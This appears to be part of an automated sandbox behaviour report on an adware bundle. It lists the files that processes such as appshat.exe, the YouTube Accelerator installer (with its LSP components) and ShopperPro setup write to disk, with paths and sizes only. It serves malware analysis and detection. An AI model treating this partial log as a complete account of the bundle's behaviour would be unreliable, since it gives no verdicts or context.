C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk320C.tmp (50 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_3652.log_tmp (493 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\acceleration_not_supported.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_3840.log (77796 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_3840.log_tmp (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk3230.tmp (1 bytes)

The process appshat.exe:3532 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuB5E7.tmp\Ltjhenhlzwrs.tmp (422820 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuB5E7.tmp\Devtf.exe (1888669 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuB5E7.tmp\StdUtils.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuB5E7.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3903.bat (411 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuB5E7.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuB5E7.tmp\FacebookIsGod.dll (2467 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe_a (145762 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe_b (145762 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe_c (145762 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe_d (145762 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe_e (145762 bytes)

The process biclient.exe:3640 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\eula[1].htm (1061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3F7F.tmp.0 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3F7F.tmp.1 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3F7F.tmp.2 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3F7F.tmp.3 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3F7F.tmp.4 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3F7F.tmp.5 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3F7F.tmp.6 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3F7F.tmp.7 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT (1252 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe (22888 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\eula-sourceapp[1].htm (4341 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3F7F.tmp (39568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\tokyoThreeWavesBG[1].jpg (318 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\55bf8432df4546428c4cd4ba3636f283[1].htm (35632 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\easyBurner_logo48[1].png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe (69254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\3MNHGSLD.txt (90 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe (21724 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\eula-youtubeaccelerator[1].htm (2744 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\eula-mystartsearch[1].htm (1887 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\FFE6GTVE.txt (94 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\4AD7.tmp (79808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\tokyo_sprite_full[1].png (1277 bytes)

The process 3F7F.tmp:820 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\lm (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseFBAD.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseFBAD.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\tlg (41 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ilg (303312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseFBAD.tmp\ExecDos.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseFBAD.tmp\UserInfo.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\SourceApp.mg.exe (7751 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseFBAD.tmp\inetc.dll (44 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseFBAD.tmp\nsJSON.dll (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\mj (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseFBAD.tmp\NSISEncrypt.dll (3461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseFBAD.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseFBAD.tmp\IpConfig.dll (4254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseFBAD.tmp\WmiInspector.dll (3137 bytes)

The process GLBE08E.tmp:3064 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLKE300.tmp (1604 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000e.TMP (11493 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001a.TMP (13284 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\blank.html (75 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000d.TMP (7581 bytes)
C:\Users\"%CurrentUserName%"\Desktop\YouTube Accelerator.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VADEU.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLJE0FC.tmp (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0006.TMP (115350 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe (14310 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0019.TMP (11019 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAuninstall.mht (9 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0011.TMP (34 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001f.TMP (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAIDN.LNG (17 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0001.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe (19739 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLGE92B.tmp (90922 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0004.TMP (24 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0009.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll (3048 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0016.TMP (5381 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0003.TMP (119 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0010.TMP (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\OK.gif (329 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0008.TMP (2784 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000c.TMP (941 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0002.TMP (2104 bytes)
%Program Files% (x86)\YouTube Accelerator\temp.000 (51331 bytes)
%Program Files% (x86)\YouTube Accelerator\res\~GLH0014.TMP (75 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe (30222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll (3271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe (35420 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll (6691 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000f.TMP (329 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelper.exe (44331 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0007.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe (20746 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll (34861 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLCE0FB.tmp (3791 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll (7687 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000a.TMP (18940 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe (4742 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe (20848 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0005.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VADEU.LNG (18 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0012.TMP (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll (4155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page2.mht (1961 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAIDN.LNG (17 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0015.TMP (4061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0000.TMP (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx (3175 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page1.mht (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Cancel.gif (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe (2082 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll (98 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\YouTube Accelerator.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLME513.tmp (12 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe (146 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFAR.LNG (15 bytes)
C:\Windows\SysWOW64\temp.000 (3624 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000b.TMP (11493 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\~GLH0021.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLFE92C.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\comtest.gif (1817 bytes)
%Program Files% (x86)\YouTube Accelerator\INSTALL.LOG (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFAR.LNG (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\progbar.gif (238 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0020.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe (9304 bytes)

The process wpm_v20.0.0.1714_0204.exe:3584 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe (3560 bytes)

The process webplayer_installer.exe:316 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\storage.js (979 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspE8AA.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\WebPlayer.exe (7533 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\web_player\initialize.js (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\common.js (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\initialize.js (66 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\main.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\main.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\Uninstall.exe (843 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\jsonstorage.js (651 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\config.xml (823 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\json.js (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\shortcut.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\web_player\web_player.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\installer.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\xhr.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\tray.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\stub.html (680 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\event_listener.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\utils.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\io.js (751 bytes)

The process ins_yta.exe:3976 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLBE08E.tmp (144 bytes)

The process appshat_generic.exe:3520 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe (12408 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\AppsHat Mobile Apps\Uninstall.exe (164 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszA593.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszA593.tmp\inetc.dll (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszA593.tmp\webplayer_installer.exe (8184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszA592.tmp (10027 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszA593.tmp\appshat.exe (13992 bytes)

The process testlsp.exe:2408 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_2408_testlsp.log (323875 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_2408_testlsp.log (1436 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_2408.log (1279 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_2408_testlsp.log (443 bytes)

The process powershell.exe:3268 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\P16EV2XZESZEQ5LYHWE0.temp (196 bytes)

The process powershell.exe:3060 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3SKRB8UBS3F597K0XQM0.temp (196 bytes)

The process powershell.exe:3988 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LD1TZWKY5KEOMFNVADNR.temp (196 bytes)

The process setup.exe:2340 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files%\Common Files\ShopperPro\spbii64.exe (17848 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (11344 bytes)
%Program Files%\Common Files\ShopperPro\spbii32.exe (13368 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.exe (33633 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEC52.tmp (350281 bytes)
%Program Files%\Common Files\ShopperPro\spbiw.sys (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEC53.tmp\MoreInfo.dll (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEC53.tmp\nsProcess.dll (12 bytes)
%Program Files% (x86)\ShopperPro\Updater.exe (25112 bytes)
%Program Files%\Common Files\ShopperPro\spbiu.exe (69777 bytes)
%Program Files% (x86)\ShopperPro\FireFox\chrome.manifest (113 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEC53.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEC53.tmp\System.dll (23 bytes)
%Program Files%\Common Files\ShopperPro\spbici32.dll (36698 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.sys (1856 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (100378 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.dll (14184 bytes)
C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (1 bytes)
%Program Files% (x86)\ShopperPro\FireFox\install.rdf (828 bytes)
%Program Files%\Common Files\ShopperPro\spbici64.dll (47570 bytes)
%Program Files% (x86)\ShopperPro\database1_0_0.json (6 bytes)
%Program Files% (x86)\ShopperPro\SPRemove.exe (20416 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro64.dll (16944 bytes)
%Program Files% (x86)\ShopperPro\manifest.json (595 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEC53.tmp\AccDownload.dll (11359 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEC53.tmp\jsdrv.exe (100669 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\shopperpro_128.png (5 bytes)

The process setup.exe:1772 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\code (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\Thumbs.db (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\ffsearch_toolbar!1.0.0.1025.xpi (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\2[1].zip (59529 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\uninstallDlg2.xml (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\conf (83 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\2.zip (27280 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\scrollbar.bmp (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\lpd#4.3.0.xpi (6360 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\tmp\422.db (272 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\1[1].zip (174183 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\BFVUpdateM.dll (3616 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\1.zip (32060 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\UninstallManager.exe (60186 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\MessageBox.xml (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\code\Thumbs.db (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\tmp\RegWrite.exe (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\DataBase (26688 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\422.json (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\bg.png (5064 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\BaofengUpdate.exe (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\tmp\wpm_v20.0.0.1714_0204.exe (16424 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\tmp\STab_Down_6.0.6.8.exe (3616 bytes)

The process HPNotify.exe:3804 makes changes in the file system.
